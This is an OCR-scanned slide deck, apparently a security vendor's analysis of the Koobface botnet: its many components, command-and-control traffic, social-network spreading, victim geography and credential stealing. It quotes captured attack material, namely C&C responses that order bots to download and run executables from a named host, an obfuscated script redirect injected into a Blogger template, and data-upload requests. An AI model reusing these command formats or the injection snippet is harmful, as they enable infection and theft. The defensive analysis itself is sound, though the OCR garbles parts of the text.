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“A single entity defined by the sum of its parts...”

- Dunne, “The Lost Symbol”
Chapter 18
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What is the real face of Koobface?
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Koobface, not just a single piece of malware

Group of malwares working together not only to form the Koobface botnet
but to also support the business model of Koobface.
- Main Downloaders

- Social Network Propagation Components

- Bloggers

- Web Servers

- URL Checkers

- Captcha Breakers

- FakeAVs

- Web Search Hijackers

- Rogue DNS Changers

- Data Stealers

- Koobface C&C

- and many more....
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Evolution of KOOBFACE Binaries
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oobface, an ever elusive C&C '
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Koobface, able to adapt ;

Retrieve commands from C&C

Affected User

Classification
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KOOBFACE C&C

As of July 19, 2009

./—
1. Retrieve commands from C&C and list of
Koobface zombie computers IP addresses

_ 7/ Ikooerace cac
P4 I
o /eng
7
/
Before [
~
-~ i - Koobface zombie
2. Retrieve subsequent | computers
commands and components_ _ — — ‘

.~ using zombies as proxy.

p—
S pups =

Affected User
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Koobface is...

* Multi-component

« Evolving

* Elusive

« with an adaptable malware writing group behind it!
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What else? ;
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The Koobface Botnet

Some Koobface facts you probably
didn’'t know...
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Koobface authors gets personal :

[2009-07-22 20:24:17]
#lle express our high gratitude to
#for the help in bug fixing, researches and documentation for our software.

Follow TCP Stream

/ /gen. php?
—0&a= 95’944140&v—12&c 0&s=1d&1=1000&ck=0&c_fb=0&c_ms=0&c_hi=0&C_tw=0&c_be=0&c_fr=-1&c_yb=-1&c_tg=0&c_nl=
HTTP/1.1
HOost: upr0306.com
User — Ageng' Mozilla/ /4.0 (compatible; MSIE 7.0; na; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729
ontent-type: application/x-www-form-urlencoded
onnection: close

HTTP/1.1 200 OK

Date: wed, 22 Jul 2009 16:29:29 GMT
Server: Apache/1.3.41 (Unix) PHP/5.2.10
-Powered-By: PHP/5.2.10

onnection: close

ransfer-encoding: chunked

ontent-Type: text/html

2rat1tude to bancho bpanchev (http://ddanchev.blogspot. com)
researches and documentat1on for our software.

éTARTONCElhtt //up1oad octopus-— -multimedia.be/1/fb.49. exe
://imgl19. 1ma?eshack us,/imgl19,/116/p22157446. jpg|193854730d993dfgdfjkng345
T

START |http: //up1oad octopus-multimedia.be/1/captchas. exe
sTARTIhttp //upload. octopus-multimedia. be/1/gcheck. exe
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Koobface blocks Akamai

[2009-07-03 20:11:335]
BLOCKIP|92.122.0.0
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Koobface, making good use of compromised sites

@ - = My home video :l htp /s ~swes v s#3/youtube/ I
4 16 minutes ago from web - Reply - View Tweet

Free webhosts (33.6%)

AT My home video ) hilp /fu.us
o from web - Reply - View Tweet

... My home video ) hitp /8

Koobface C&Cs (0.1
Koobface infected machines (1.9%)

My home video ') http://e

tes ago from web - Reply - View Tw

Compromised sites (64.4%)
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Koobface, most victims are Americans *

JO (0.4%)
==t 1111l
. ', i '

KR (0.4%)

JP (0.4%) Others (7.9%)
NL (0.4%) =

TR (0.5%)

BR (0.6%)

AR (0.7%)

BE (0.7%)

PT (0.7%)

BA (0.7%)

CL (0.8%)

MY (0.9%)
MA (0.9%) “ {4l
HK (0.9%) ~ AdL
RU (0.9%)
DK (0.9%) -,
SE (1.7%)
CA (1.8%)
PL (1.9%)
RO (1.9%)
AU (2.0%)
FR (2.1%)

DE (3.4%)

ES (3.6%)

GB (3.7%)

IT (4.1%)

US (45.2%)
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Koobface uses Google’s Blogspot

Classification

=r@gmail.com | Dashboard

8 NDCC: Storm ‘Jolina’ death toll rises..

Page Elements Fonts and Colors Edit HTML I Pick New Template

Backup / Restore Template

Before editing your template, you may want to save a copy of it. Download Full Template

Upload a template from a file on your hard drive: | Choose File | No file chosen Upload

Edit Template

Edit the contents of your template. Learn more

[CJ] Expand widget Templates
<?xml wversion="1.0" encoding="UTF-8" 2> EE
<!'DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" E_
"http://www.w3.0rg/TR/xhtml1l/DID/xhtmll-strict.dtd">
<html expr:dir='data:blog.languageDirection' xmins='http://www.w3.0rg/1999/xhtml"
xmins:b="http://www.google.com/2005/gml/b"*
xmins:data='http://www.google.com/2005/gml/data’
xmlinsexpr="hotp://uwag . goagle cam/ 2008 /gmi/expr'>

<head><script>buvkcye = &#39;&#39;:bwlr = &#39;&#39;raxzgg = &#¥39:;&#39;;1locaticn =
&%39:;hctp://k&#39;+buvkcye+&#39;;ukurs#39;+bwlr+&s#39 ;uku—
290&%39;+axzgg+&#39,;709.cos$39 ;+buvkcye+:s$#39;:m/ge#39;;+bwlr+s%#39;0/fb.p&$#39; +axzgg+s#3
9:hp&#¥39:;</script>
<biinciude data="'bicg’ name="all-nead-content’ />
<title><data:blog.pageTitle/></title>
<b:skin><! [CDATA[/*

Blogger Template Style

Name : Minima

Designer: Douglas Bowman

URL: www.3stopdesign.com V]
Date: 26 Feb 2004 '

Revert widget templates to default

9/29/09 15
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But wait... there’s more!!
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Koobface defeats Facebook URL blocking

Koobface C&C
Facebook site

2. Check if URL is blocked
by Facebook.com

Victim’s machine
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Koobface info stealing

POST fusersinfo/ms.php HTTP/1.1

Host: upr0306. com
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; na; .NET CLR 2.0.50727; .NET CLR

3.0.4506,2152; .NET CLR 3.5.30729)
Content-Type: b1nary/0ctet -stream
Connection: close
Content-Length: 83

R mm. .. k1. HTTR/1.1 200

Date: Mon, 03 Aug 2009 Q7:05:23 GMT
server: Apache/1.3.41 (Unix) PHP/S 2,10
x-Powered -By: PHP/5.2.10

Connection: close

Transfer-encoding: chunked
content-Type: text/htm]

0
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Koobface knows what you look like...

POST /ms/qgen. php HTTP/1.1

HoST: |EE X, com

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; na; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .!
Content-type: application/x-wwi-form-urlencoded

Connection: close

Content-Length: 213
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The Koobface Botnet

Had enough???
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The Koobface Botnet

The Koobface Gang isn’t done yet...

Just recently, they've added some new
functionalities such as:

- C&C communication integrity check
- GeolP
- a Firefox to IE cookie converter
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What is the real face of Koobface?
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The Koobface Botnet

What is the real face of Koobface?

- hard to paint

- continuously changing
- unfinished product

- perpetual beta

- with authors keeping tabs on what the security
iIndustry is doing to combat their creation
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Presenting... Koobface Then

Web Server

Websrvx.exe or

websrvx2.exe
- acts as a web server on the
infected machine

Facebook spammed message
containing link to fake
YouTube site

fb.<version>.exe
-facebook worm cmponent

Notify C&C of its presence and how long it is already running

ms.<version>.exe
-myspace worm cmponent

hi.<version>.exe fr.<version>.exe
~friendster worm cmponent

~hi5 worm cmponent

Key Stealers

j?ssoﬂ .exe

rojan dropper

Win{xxx}32.dll
- key stealer
-www.keygenguru.com

Upload software keys found
on the infected machine

l
B

www.keygenguru.com

LDPINCH variants
45706328.jpg

- contains an encrypted
TSPY_LDPINCH variant

Upload system information and user
and password credentials found
on the infected machine

Phone Home
Server

Fake YouTube site “needs”
setup.exe to play videos

in.exe
- TSgY_LDPINCH

social network

r

tg.<version>.exe b.<version>.exe
‘myyearbook worm cmponent

fu.<version>.exe
“tagged worm cmponent

~fubar worm cmponent

tw.<version>.exe nl.<version>.exe
-netlog worm cmponent.

s be.<version>.exe
~twitter worm cmponent ~bebo

worm cmponent

Reports to C&C found social
networking site cookies /
C&C gives instructions on what
components to download

Downloads —

o Ow“\oads

Setup.exe or
Id.<version>.exe
- component downloader

&—— Downloads

dns.exe
- rouge DNS changer -

Rouge DNS able to return
malicious IP hosting
fake www.goodsite.com

User visits www.goodsite.com

:

Rouge DNS Server

05,
%béq,

nfr.exe
-Firefox search hijacker

connect to C&C and wait for commands ————» B

R t C&C for ha to solve /
Koobface St CAC for Capeh o schve
C&C back to C&C

T

C&C able to issue commands
such as opening ad sites on
new browser wi
downloading rouge AV

Captcha<version>.exe
- Trojan Dropper

.<version>.ex
RSO

- opens agx;gx ‘;nay push Installs

Captcha<version>.dll
- get Captchas from C&C
1o be solved by the user

/ *

Dlsﬂlay cspcha to be solved
on ti

Downloads
e infected user’s screen

Web Search Hijackers

Pdrv.exe
- dropper

Podmena.sys
Podmena.dil -search hijack rothit

796525.dll
- |IE search hijacker
component

- IE search hijacker

User enters search string in
Google,Yahoo, MSN,
Ask or Live

Searoh Huaok Server returns
aﬁpe ge with result
polntlng to afilliate spam sites

Search Hijack
Server

=



Presenting... Koobface Now

A2
Notify C&C of its presence and how long it is already running
r social network connect to C&C and wait for commands ————
—
Koobface C&C able to issue commands RETE e e i estol
Social Network Propagation Components C&C Buchiasiopening adlst=slog ba C
downloading rouge AV
tq;<varsion>.exe yb.<¥$ﬂ{sion>.exe‘
2 “myyearbook worm cmponent n
gged worm cmponent yye: por pp.<version>.exe
opens ads and may push
FAKEAV A
~ Captcha<version>.exe
hi.<version>.exe fr.<version>.exe tw.<version>.exe be.<version>.exe nl.<version>.exe - Trojan Dropper
“hi5 worm cmponent ~friendster worm cmponent ~twitter worm cmponent ~bebo worm cmponent -netlog worm cmponent D‘,,m\o“”
websrvx.exe or
websrvx2.exe or Installs
v2webserver.exe
- acts as a web server on
the infected machine
= - >,
Firefox Cookie Converter Cap_tclé?:“y.esrﬁswl“ocr;c eIl
to be solved by the user

1

Facebook spammed message
containing link to fake >
YouTube site

Id.<version>.exe

Setup.exe or

ff2ie.exe
- is downloaded if the fake

YouTube or Facebook page is
visited using Firefox
- converts social network site
cookies in Firefox to IE cookies

&«
&

conrox®
-—
URL Checker

gcheck.exe or Get URL to be spammed
v2googlecheck.exe from C&C; Report to C&C
- get URL from C&C which URLS are blocked
and ck with
Check if already blocked Facebook if already blocked
by Facebook

Key Stealers Data Stealing
JPG with
embedded
malware
- contains an encrypted
TSPY_LDPINCH
variant

sosedi2.exe
- steals NT logon
information

PIN.EXE
- TSPY_LDPINCH

soft.exe
e ian dropper

Win{xxx}32.dll
- Key stealer
-www.keygenguru.com
Upload system information and user
and password credentials found
on the infected machine

Upload software keys found
on the infected machine

|
B

www.keygenguru.com ﬂ
Phone Home
Server

9/29/09 25
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z Reports to C&C found social

8 networking site cookies /

C&C gives instructions on what
components to download
Fake YouTube site “needs”
setup.exe to play videos
| Downloads

v2blo:

?

Get news headline to be used
as blog entry

Downloads —

dns.exe
- rouge DNSS changer

Rouge DNS able to return
malicious IP hosting
fake www.goodsite.com

User visits www.goodsite.com

| —

Rouge DNS Server

Copyright 2007 - Trend Micro Inc.

nfr.exe
~Firefox search hijacker

Blogger

ger.exe or
googlereg2.exe
- create a Blogger account
(blogspot.com) and use
that blog to spread the
Koobface malware

Send Blogspot.com account
info; Get malicious javascript

Display cspcha to be solved
on the Ir

infected user’s screen

JE——

Create blogspot.com account;
Post blog entry from Google
News inserts malicious
javascript that will install
Koobface

Web Search Hijackers

Pdrv.exe
- dropper

6244.exe
~dropper

796525.dll
- IE search hijacker

Podmena.dll
- IE search hijacker

Podmena.sys
~search hijack rootiit

User entsrsYsearch N?g::g in
Google, Yahoo, N
Ask or Live

Search Hijack Server returns

fake search
pointing to

Search Hijack
Server

ge with result
lliate spam sites



More info...

http://us.trendmicro.com/us/trendwatch/research-and-
analysis/white-papers-and-articles/index.html (PART 1)

Yes, there will be PART Il (soon)

Malware Blog
http://blog.trendmicro.com

Koobface Tracker
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Questions?

Trend Micro Securing Your Web World




